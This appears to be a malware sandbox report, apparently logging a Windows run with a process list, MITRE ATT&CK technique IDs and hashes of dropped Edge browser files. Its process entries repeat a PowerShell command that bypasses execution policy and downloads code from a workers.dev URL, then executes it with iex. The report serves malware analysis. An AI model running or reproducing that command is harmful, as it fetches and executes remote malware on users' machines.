  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7f7f7efafb9f87082470af84df3b906033b9d533fb7a188458a4e181362f2170
MD5 8af1f60999c332d8cf9a392cd968a81c
SHA1 93834a1f070ff24041a0deb17d95d868998c98ba
SHA512 95d5c6b0fed3c3dce459178eafa2e9fa13b06caf50a5b294d66ecf16bf91357eccebec57e01d50e054232862c252fc80f7300e865318ec24078f9288a88c63d4
TLSH
T17BD02B206A444A4CCDC0B03064A2EA18E2104135680013C44001B06988901830B970DF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5e34bc4625bf22507150f49d8c28444bda8222ea36c2a7d431bbdaae5c134a9d
MD5 e1ae04b3e73ad5ac4854b3b71e22d4d3
SHA1 221461b4f2d9e84e2f881b5a79edfef3705178db
SHA512 58529610d3f5dd7778bff3b81dd8abd9d79702eff78583d0294f3999089de0bbf84f0abad703269c0988835522b1d8d48e9f3c65472a409c5868fc3547c3fb1b
TLSH
T138D02B206A54494CCDC0B03464A3EA18E2004135140013C44001F07988901830B970CB
MD5 SHA1 SHA512 TLSH

Submit Download

6716cae5-63f9-485d-8836-c9234902a4b6.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6716cae5-63f9-485d-8836-c9234902a4b6.tmp
Size 16KB
SHA256 053a72ee2320a4591b1894372da6023c517de014e3ea2b04505c67e8b5f1edca
MD5 30800436783c82126c935abc751512cd
SHA1 c74b0269d43111db2a44c793d9b35f4f7472fa82
SHA512 7ea8767108014dbe5a9a2c8f2a1b28875e738b418184cc19b37233b11e8c73ebb9b4100122daf8a2b3e4c8e77918a01fb41c6d7eb7fcb7c5b90012e44f60e975
SSDEEP 384:sxRO9m1f/fGsotRnZRL7h/5DbUR/SBf2Z5eZ5Wjn:sK9m1f/fUR35/58aCeajn
TLSH
T11072C957B524497B4CC6D519F964BF26D6F60422D9905F8CABFCCA0C00EB7ED2A06C0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

74479d39-07c4-44e5-a9e7-14a29c5d2ba9.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\74479d39-07c4-44e5-a9e7-14a29c5d2ba9.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 328B
SHA256 aec1e659ee81b79b98e77ce2ffcdfd820bbe87bec850e11db579b5f9d6101176
MD5 ee058ce75ccfb9e173181cdd61540a70
SHA1 eba27a1907332c19dbe6c167944986dbe47d8bd3
SHA512 a55b4833606f016401fe9b27efdcde2d374751e2d40d8791f542a24bce3ee0db508a2a1c62436771314f11b8c3039456578237520c40367fb93b4621b4efb581
TLSH
T108E026C507CBF33EA20475C7417E878CC3803B0ED2C9AD8A6B688CE87101450EBEAA90
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 daec93dbc03829d40800521af8b8dca1469ddf46b03032bdfe9c7daf8d8e2670
MD5 13445166b816b2bd76dcaa721bf16bc6
SHA1 b131de5f1dbda37b2c82d0e4d7b8b6294d135c29
SHA512 f0235d42d57098137c816774dc844c5d95d67e9b5e129a079a8615d7bcd01c7368bd1f794ad1f58753f5d3b1be1c0ab2c2c79f7c416e397f2fa85174838d10b9
TLSH
T197E078CE16C5F22DD30066C7456CC74C8180370FE2C5E94957188CCC7002454F7D1664
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 9eb1d500b9caa4c0d537a94c6caa1df9a0fa31e368cddeecfed6202a692d3885
MD5 6628d7b7c71ee152f62abb0b0a64573f
SHA1 9093533b26d9d805679ef7f3aace10c029e93196
SHA512 9adfbb70aea52306fbfd64afd499290a84e7b67b931858768b5ec33e51806c717771bd68b1b519edac02703530243d02056acd95671158395157535e3e39d2e9
TLSH
T1A7E020C506C6F25D714068C741B853CC82C0370EA3C9A90D579484CDB102640EBD1750
MD5 SHA1 SHA512 TLSH

Submit Download

f_00005c

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00005c
Size 402KB
SHA256 6eef989e45c9c212cc4b61921356602f57072d787e73405ee27f9af787089183
MD5 1bb2c9efb554599a861e5e6cc6305f39
SHA1 ebd2802ff1effd1598ee986516d5642263a0c0fa
SHA512 c07224d384123fcc47990f0d77e1a1347afc9cd4b30ab759e7a368342189b69e40ea2efbd1c7069a30706ebeacb78f77a0135934cdc9202febd0481883125abd
SSDEEP 6144:uqLmFS+6ADtsnXdVBWMncNLB4jvOKUmMtzrlwiIENuaRVPCIA91:7LmhwX7BWMcNLIKNtnl9xb0
TLSH
T1259423CC68DA4CD9EC884EF8F23C23BFC890B557D65D619804877E17A1D8B6D690CA4D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_00005d

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00005d
Size 67KB
SHA256 e359e51e2e2cb10ff3b77694ef4b2208345bf614d6aaea48bad139c27bfedd22
MD5 0ddb8e62f6a03a0da9e67f4699e2244c
SHA1 402f34abe76322fe4be00d5fb9e151fb75cb99f3
SHA512 08ef65a8a4fcd0d6c38343ee884f897907f436770c78dd787a9d565da024cca11fa64e1799af19c956d0cee4209e49d7f473177a91e18bb1e6eb4664521a78db
SSDEEP 1536:kVTcSfpnXIM9KWSuhU5c4C3Ul8B3UDnnspnotSjw2BfMTO1DSyWN:iTc8n48fxVE7DTtSjzBfMy1D3u
TLSH
T17363022E4F1A45D90BAAEDF1A42D93CEE47612F0ED3936A232D6C50F72931B631406D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000060

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000060
Size 60KB
SHA256 a221cbf72963df1c02c8bc202b159379f26e3d0d06225a5933209e745040e35b
MD5 b90c0e06b88c09158b13db21c7fc9ef7
SHA1 a4b968f5abcd2addd2d8f2d3e6fc01f4127c95a3
SHA512 430aadb5315738f414c2d4ca0d9e2be42f5242a3b28765993602aed4b34e334d854a88a051e6519877b7ffd8a5bf4ee7276885d6daec541826dba878f8c07f2e
SSDEEP 1536:iw916VqIkIFHzR32SF2Sjm+KW3IS7uchJEsZP8:nngaGzR32ceS7uchJ1ZP8
TLSH
T18C530227CA3085D2572D05004B9EF35A1A6079FDEA09CD7E920157F772ACAACFE20E21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000061

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000061
Size 68KB
SHA256 47d91cd0bf170ab1972a0777e1051fe5ee2a840a1d9efbeb0097e338228a8888
MD5 2a1e87320b14aac1134938a0c0bade85
SHA1 3831900aec52ad0da761f20a4fa1069d6434a6fe
SHA512 000744a8dbbc14690245ac7924c7662544bee356b4973075f5e78726fe0848e6aa96b6cf327718217ede7cde98d7874a2a4c934d1c864203a6015df18fac2d68
SSDEEP 1536:6fWZ83jSNyAUf76Z+AGYguWv0KxwhneG/7Qe4rxzhRelJ1Z6EUR+r1:6eK3jS3X9GjuW8KxwhneG/0jJelJX6ET
TLSH
T18C63029CFFA35BB52865C41E9C69A33E48E3E296C97B9721133B01F502116C2E0F461F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000062

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000062
Size 65KB
SHA256 f12de7e272171cda36389813df4ba68eb2b8b23c58e515391614284e7b03c4d4
MD5 56d57bc655526551f217536f19195495
SHA1 28b430886d1220855a805d78dc5d6414aeee6995
SHA512 7814c60dc377e400bbbcc2000e48b617e577a21045a0f5c79af163faa0087c6203d9f667e531bbb049c9bd8fb296678e6a5cdcad149498d7f22ffa11236b51cb
SSDEEP 1536:654NcGosP0w+UcGoanS2RR/QwNdIvEsgXn:6iRsw+UkC5QdEfXn
TLSH
T1055302E4123CA75C49FC43EA5434D635BA4B31ADABD4102FB69BC4258F6EA824447CFB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000063

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000063
Size 19KB
SHA256 af18b3681e8e2a1e8dc34c2aa60530dc8d8a9258c4d562cbe20c898d5de98725
MD5 1bd4ae71ef8e69ad4b5ffd8dc7d2dcb5
SHA1 6dd8803e59949c985d6a9df2f26c833041a5178c
SHA512 b3ff083b669aca75549396250e05344ba2f1c021468589f2bd6f1b977b7f11df00f958bbbd22f07708b5d30d0260f39d8de57e75382b3ab8e78a2c41ef428863
SSDEEP 384:/Und3PKicut4yiFkC9RWzlJpa2/CKYOyDJmCZyXJTW4PO821GyLjSoBwNeS:0UizQDYlJpaQCKYOyDJpI5Kx821DS3Nz
TLSH
T13692E1670BCE314E422EE25FA316A51733E41BE1EFE49640D6AA70D81C38DA243179D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000064

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000064
Size 28KB
SHA256 6672e6a25ff27fb35f4a259d660959bd5581382a5e6d82f386379ebd3f285637
MD5 715fd57ef8cb9e99eb69f5cd370f52d8
SHA1 f407d02c2894e65369410d532b53b251d2917941
SHA512 afe412f57346186e65cd7e89716d0dab59272c040c0b11b9f10e114f76c174da9bf9c6e44e2c7e9c208549309bf21d8b25bd9cb0474deb247dd91178407e0cff
SSDEEP 768:34T6ObSF7Ej76BfxFoFRJ8oKPjuXiQFQZw:34JbP/IFoFPvKP6XdOu
TLSH
T144D2E0F6A188E96BDF34AEE5023E1525F2120AF51467BCB1EB2FD21D17C957352BC820
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000065

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000065
Size 37KB
SHA256 c77d8c5ee52f8e184fabdd66e2898ac8a2aa927143b0d9d8a93cd065f2dfdbfc
MD5 2da97f4bd01584220b2defa72f4e4164
SHA1 cd716a5cfe5b2c70e7c801ad9578b44b3a22ecc2
SHA512 9104f6e232233c6e11eab674f57f0d7dcf7acf94f0280ef24a3f15fe8f8f074d66fda9d17f90ddc4e1c2979d2be7c0876c08a5b10955db88e5e1bdab3f4c73f3
SSDEEP 768:SO2ngpSSFB/PzxiV4XxnEZT7pr1UThyCapF22U5KCRlmJ:SO2ngNFB3rKnUkCai2yKCRlmJ
TLSH
T15803F1D2800D33827F469E71731A9A7E9D48B3E2460E32864C26D95ADDB0F7F86E250D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000a8

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a8
Size 202KB
SHA256 6a784a33fc0446ae962585860cc020e0edadd107793d7c7025c9c8d4b0289aef
MD5 4527fd4c2b585a0a636c3bf398ecf90a
SHA1 269f5d36d0e365340587a5aa08f45c6ea560ddaf
SHA512 080168e55558c262e001e8c05002f0ff08ebe7884d114ca8196ce002d2ecbb004a752acda57281c9cea084580961f34d23e6e07e256b6c430e69043488fe9b63
SSDEEP 6144:7/wPwlZv01mTaTcALjA9LC/2GKjRPOFNkQCjRhtLhst:qM5+H3ALq2PFmFyQCpL6t
TLSH
T1581413A4BCCE6C3769AB13A1710D3C1537E1C99E3A82DFC872B7C73AB4592A44B19548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000b0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000b0
Size 78KB
SHA256 69e7303f4d136190a5ca8694d7ee8497760896fbaa77409f1d0e840ee06875f0
MD5 32258c5c67fe25fbe5177d685b988830
SHA1 44090673870a33afd27d3d73b853ec4d683740a9
SHA512 0e5c03aefff95fd52584d1827931016cd8c1cec9e799418e106d8a2f6f08200108b6ed0c436624c799da6fa3d29be4623ed19a6562cee648b26b7c9500199ef7
SSDEEP 1536:wK8sKJQFlNcVhQ2qOQ6w+KcvU8ZxL99wpcPcAhVXqg3/8uwA4vYIm:wwahRql+RvxL99JV6g3/8uwAIy
TLSH
T1B37312DC6811774A36853C98E569BFB8A66B26406DB4C2C02940D03FF48E3B17DED57B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000b2

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000b2
Size 19KB
SHA256 4f38d2c66d5872719dd871778d52312dbc0b6d933c4292f349cb8893f72780a3
MD5 c6cb4f6d3946a80de1e00966ad99422a
SHA1 5e769d9cd67d64c54d3065f87ddc14089b67c7a5
SHA512 e22203feefe66f2d7ef084614b4524ab27e0a03f4bf2cba1cf498e3575d1e6062f9f15073b2e0a4b5cdc0eacbf6407359264fd7688639fff8d7d5cc4bc216383
SSDEEP 384:EGUirThhb2x+G0uq8NYlIBQAXZQNxdbrYH7RTRh4q7TWz2zSTInsVVM:rXrThi0ul+lIOAXZQNwH9RhRe0+M
TLSH
T16F92D03E0C2FFC5F1E18C0B6AFC91C04B5F5A097B44A67EF94321E291A698758D0E14E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000b4

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000b4
Size 60KB
SHA256 09942f492f93e5748a18748a9d5703c1d9fb2371e88bc2a01fa7779650dc40dc
MD5 bdb48354eacf1843569fdf0898e71667
SHA1 c0090b0822e5bf07180d4366700316f8de682397
SHA512 49eef2ef2dbce4b0af131555846b2f3e5180e25f1b4fd2f8cfea9d103811e6b954d1209b70ce85fcbf88eabb48399e6240a1db02544d056ae55a22b10a5f0bd4
SSDEEP 1536:l6QKCA9YwCpxAMmNB56jI+BCDMv7FoRRQOYLG/:l6QcYjaFN+8uCIDFw2K/
TLSH
T104530213EE0C472D26E597594723CF026AFD0456AF0AF40D6F8BDEF0A2686C5A35E834
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000b7

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000b7
Size 16KB
SHA256 1a9dc13a21798782fb56da06d7feafc14ed7c78957ef99ceb907db605f31b0af
MD5 9de0d47b78efecf5eb24de427ce148b9
SHA1 340ca0a4c141934f5cee14dbf578b2fb70e1c12a
SHA512 e943685fcdc41bd1f68b82ed28fc5878c314ad6ec34c471eb4c19d7ea75b8aee8e43cd75cfccb80f3bc4e730f3f3c56c515bdb8d188fe8ade8ec9e27b009f8dc
SSDEEP 384:g9930ieCcXd5e7SwYgdPCrWz4rotjzSnK+/+etg:g99kNN5aQCzWK+/RC
TLSH
T1FF72D065DC2EC22F85792777A94DA5C880434C7672225A5B7CD4CB1FE03DF661C9032A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 4aef25dfc26d9e6917581957dde0f2df7e532766ced7068e7db2c4847e532eb3
MD5 7d17952f1c603a2937bdd89ffc5724d8
SHA1 438823b17ee2978a826d942c2ab3049ad90622c2
SHA512 6e6b314fe72dbbc3bcc371e0643dcce96d655c1899a8fb11c09ca5af4c02e33a37eee7e6f02f136ae0f1977901ee0e6a91aa837767b53de861d17e3d156adc79
SSDEEP 192:GGcMvbR2n0a11rqOxKjuNeQhorZfHGImR8/OjNrts1cpoyR03ZHCMZWPreGlmGJl:G/Lhogxipute+
TLSH
T16EF12DD94AD31D87DF1B397D24D97988F0714000B08FAFD682DA1A70DB3B3B92066E64
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 6fdc54ba742444817c5f00d1ada64ef7c1c40bf79c9374ea48912b726df4be5f
MD5 4d340ee87c5edc76ca5f62aea8f6e8d0
SHA1 bf296dc46913183c29d4bb8e7579a2df6ec30275
SHA512 930a4a9cdcf52afc07df8faa7b0154b076236efbaf15ef11bb26ae0194f1285b78c0d91283b07fdf27d84b9575d4c283ed73ec90a3075dd19e1ce1697c6216e2
SSDEEP 192:3GcMvbR2n0a11rqOxKjuNeQhorZfHGImR8/OjNrts1cpoyR03ZHCMZWPreGlmcJC:r/LhogxiputQt
TLSH
T1D8F11CC95AD31D97DF1B397D24D97988F0714000B08FAFD682DA1A70DB3B3B92466E64
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 15KB
SHA256 90525f8493f03cce37aa01290b1071d413610f534eee96c4be9adb710cee02f6
MD5 0b36c82f3e70a707b1df1e95c824e461
SHA1 c16bf8281f225daf1a4f7f547f7475cc367b1587
SHA512 36bc224668a516a7f02dea5d50f748d7998144da1f77a418898cb24f86b1ac60d372d673f665aca0fb44084fcd00a72d8bdea36ebd7baa65e39f062211e1a342
SSDEEP 192:Di+9y8KaRQ7qgb+/iCRmhs8wtXOHsl3lnzBgcQMqOVxyS/TX5WzJIldUwnu2tTTM:b4+Tt+MGIPD/e+go2+JJM
TLSH
T1D66282D764C3DDEECF1A25B890CC3988B2B3CC796BAF4EE649854630972B3A42051F55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5a84b2.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5a84b2.TMP
Size 2KB
SHA256 2882c09e6af2db921d6f7508a47a3631b76cdc8581b7745c97c5b6ca761ccef0
MD5 80074bad591a72edd70886d96b99147f
SHA1 0e9358947ea1777253dbb0c74d971776ebae8b95
SHA512 b3f5b088914b86d07fee81e739849fb4e72aa3678ee95e9d0eec2893a15c6bc67f7ee480da059898eb756224885dde8bc2d098ba7c2ea55a8877faacd4263aab
TLSH
T1D05161D743A32ACDD72574BE60E01A4872358499B58FBE08C2E24A34DE3B33E145BC90
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

5882c831-88c9-4817-b72f-58afc56b374f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\5882c831-88c9-4817-b72f-58afc56b374f.tmp
Size 8KB
SHA256 cb0d8904dfe9e9a0b9d1ab8cb45af21f4524317ff90c39dd8c6c733e3968934c
MD5 4613b8b871287ed065ba5fa11f1c845f
SHA1 7b1ccd6e0a61d95048ee43e32cf4b426ab276dff
SHA512 00d111cea2fa09d4e652093f440c3b339e8004d846cdd2f8a6390cc6958f7ff8f425bc78d8a9b9dce93de9a336f59c1d39bfbb14476cfd57096b9cec0821ae5c
SSDEEP 192:Dt1hzTGFefXeGpHW0EQi3ua8Tcaivig4IvoQYMIJRsXmQJY7MR9XQVkxSAUVHh7g:Dt1hzTGFefXeGpHW0EQi+a8Tcaivig4W
TLSH
T1CB02CEF743B5466EDA1191F4EA18AE279E5C0503436C385E86E0AE57E3F2471E1C1B4B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 8KB
SHA256 e18d339a3af6ea8eeb60bd124273d09ae79e76ebf462bbaf6c18eafc21a73749
MD5 b9d1d6a7d93f4c62c7c6d6044c1ea31d
SHA1 4194a3d28050e3f06f824f030e3c2cbd61e2bf27
SHA512 1d7beceb065ae23f562c1f8628834baa8334229bb4309ed29c97fa99425382ca2cc312cbe4f67ac19ca75db35f062de6362b434cda8dcdf396d8812549a7249a
SSDEEP 192:Dt1hzTGFefXeGpHW0EQv3ua8Tcaivig4IvoQYMIJRsXmQJY7MR9XQVkxSAUVHh77:Dt1hzTGFefXeGpHW0EQv+a8Tcaivig4R
TLSH
T16702CDF743B5466EDA1191F0EA18AE279E5C0503436C389E86E0AE57E3F2471E1C1F4B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 10KB
SHA256 f4b404cfe6948adf19b531d0240ec03c980b24bc9b853d86ba0c9571eaa53086
MD5 ca19fa786c2d4b18bffd0f258f9e2e5d
SHA1 be3f13c6b06cfdf74faad0896fbe5dc1b08b9dbb
SHA512 addd6368c71123d0c45e5672c4d0c1db0a9de0b2957e81f0b995165ac1300bcb0875c08cfa6df27e156446fa19cd326c7fe693bfe5aab517f9ebb8d44e3ba012
SSDEEP 192:DsReSlz0ebleRkSKXZM3ua8TF+ivig4M4voQYMJJqKsXmqJY8MF9XEqkxPz7UzC4:DsReSlz0ebleRkSKXZM+a8TF+ivig4Mi
TLSH
T1B0229DFBC3E4462ED95151F4EB146E27DE5D0907436C394E85E4AE4BA3E2870E2C1A4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 8KB
SHA256 b81e51e5ee2efeef2b6cbbcad715637e8be003a61fce41684b4556b2557781c2
MD5 34bc3f95b70d37daf57f04809883d026
SHA1 6b4198081ec894fdf8acb65f1fdc0d38d718fb2c
SHA512 58ecb59745e4c4ba06109792cd16d11b0c7b4abe6cf0e14e897fb422d563098187eb29c39fbcda01e18fc91f7d5e86a43398e3d3cb01d6bd9e4c0ee78c186347
SSDEEP 192:Dt1hzTGFefXeGpHW06xM3ua8Tcaivig4IvoQYMIJRsXmQJY7MR9XQVkxSAUVHh7X:Dt1hzTGFefXeGpHW06xM+a8Tcaivig4p
TLSH
T13B02CDF783B5466EDA1191F4EA18AE279E5C0503436C385E86E0AE57E3F2471E2C1B4B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 10KB
SHA256 255a52bb9b121703c8de86ff6a4f342deb65aef1c2848ff7cfbe3194a5f5a86f
MD5 ef624a8c92d997f4a75df6eab3066a29
SHA1 cc5597cb893dcd80b110748ebbc944984e689523
SHA512 09cddc0e7d386df56c00b50f922080cc9be5752be117028ce4d81b8e678ea8fcc167319d3acd5bfd1860b077242278397d27f738424744e8f1f3e1f67b7e5ad6
SSDEEP 192:DsReSlz0ebleRkSKXZQv3ua8TF+ivig4M4voQYMJJ5sXmqJY8MF9XEqkxS7UVHhE:DsReSlz0ebleRkSKXZQv+a8TF+ivig47
TLSH
T142329DFBC3E4462ED95152F4EB146E27DE5D0907436C394E85E4AE4BA3E2870E2C1A4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 12KB
SHA256 ac79b9370a713c407c0b51452a8f2a398e90a3a8115fc662747fa2f037935e39
MD5 3baf73705da631f997d3a5a25e8032b9
SHA1 ca20c5ba037eed7d2841acedb6fc4dee5b695d21
